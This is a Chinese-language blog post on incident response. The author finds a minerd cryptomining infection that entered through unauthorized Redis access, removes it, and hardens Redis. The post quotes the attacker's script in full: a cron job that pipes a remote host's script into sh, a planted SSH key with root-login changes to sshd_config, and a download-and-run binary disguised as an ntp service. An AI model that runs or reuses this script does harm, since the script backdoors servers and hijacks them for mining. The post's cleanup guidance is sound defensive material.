参考链接:http://www.cnblogs.com/zhouto/p/5680594.html


本次产生挖矿minerd***的主要原因是由于redis的漏洞造成;

redis安全:http://blog.knownsec.com/2015/11/analysis-of-redis-unauthorized-of-expolit/


在服务器中执行 top 查询,发现有minerd进程占用CPU达到90%多;


ps -aux|grep minerd   #直接kill掉该进程,发现十几秒中又起来的,重复几次发现kill不掉!!

重现找原因,在计划任务“ crontab -l”发现有个网络端的执行脚本操作;


发现该进程的计划任务,同时复制该链接,可以下载该脚本,脚本内容如下:


export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin


echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/root

mkdir -p /var/spool/cron/crontabs

echo "*/10 * * * * curl -fsSL http://r.chanstring.com/pm.sh?0706 | sh" > /var/spool/cron/crontabs/root


if [ ! -f "/root/.ssh/KHK75NEOiq" ]; then

      mkdir -p ~/.ssh

      rm -f ~/.ssh/authorized_keys*

      echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkBCbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3txL6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFav root" > ~/.ssh/KHK75NEOiq

      echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

      echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

      echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

      echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

      /etc/init.d/sshd restart

fi


if [ ! -f "/etc/init.d/ntp" ]; then

      if [ ! -f "/etc/systemd/system/ntp.service" ]; then

            mkdir -p /opt

            curl -fsSL http://r.chanstring.com/v51/lady_`uname -m` -o /opt/KHK75NEOiq33 && chmod +x /opt/KHK75NEOiq33 && /opt/KHK75NEOiq33 -Install

      fi

fi


/etc/init.d/ntp start


ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9

ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9



执行crontab -r 清除计划任务,并重启crond服务;    #此时发现还是没有用,该进程在kill掉,依然自动重启消耗CPU;继续查找原因


开始从脚本下手:

1、chmod -x minerd    #先将该命令的执行权限去掉,先不要不要删除,否则还会自动生成;

2、kill 掉minerd的进程;

3、删除KHK75NEOiq33 和minerd文件在同一目录下

4、删除 /var/spool/cron/root  和 /var/spool/cron/crontabs/root 脚本文件;

5、去sshd的主配置文件中将脚本中追加的内容删除:

      echo "PermitRootLogin yes" >> /etc/ssh/sshd_config

      echo "RSAAuthentication yes" >> /etc/ssh/sshd_config

      echo "PubkeyAuthentication yes" >> /etc/ssh/sshd_config

      echo "AuthorizedKeysFile .ssh/KHK75NEOiq" >> /etc/ssh/sshd_config

删除后,重启sshd服务;

6、删除  ~/.ssh/KHK75NEOiq ;

7、后来在/etc/init.d/ 发现可以服务ntp ,该***程序注册了一个“ntp”的服务,而且还是开机启动,这里的ntp并非时间服务器的启动脚本;

/etc/init.d/ntp stop   #停掉服务,设置不要开机自启;  

chkconfig ntp off   #删除开机自启;  

完成之后删除ntp 文件;

8、删除  minerd文件


此时在观察,挖矿minerd已经不再重启了,CPU使用了恢复正常!


解决minerd并不是最终的目的,主要是要查找问题根源,我的服务器问题出在了redis服务了,***利用了redis的一个漏洞获得了服务器的访问权限,

参见连接:http://blog.jobbole.com/94518/

然后就注入了病毒;


下面是解决办法和清除工作


1. 修复 redis 的后门,

  •     配置bind选项, 限定可以连接Redis服务器的IP, 并修改redis的默认端口6379.

  •     配置AUTH, 设置密码, 密码会以明文方式保存在redis配置文件中.

  •     配置rename-command CONFIG “RENAME_CONFIG”, 这样即使存在未授权访问, 也能够给***者使用config指令加大难度

  •     好消息是Redis作者表示将会开发”real user”,区分普通用户和admin权限,普通用户将会被禁止运行某些命令,如conf


2. 打开 ~/.ssh/authorized_keys,  有的是known_hosts文件, 删除你不认识的账号


3. 查看你的用户列表,是不是有你不认识的用户添加进来。 如果有就删除掉.


这里仔细分析这个脚本就可以解决这个挖矿minerd漏洞,主要在根本上解决,做好redis的安全工作!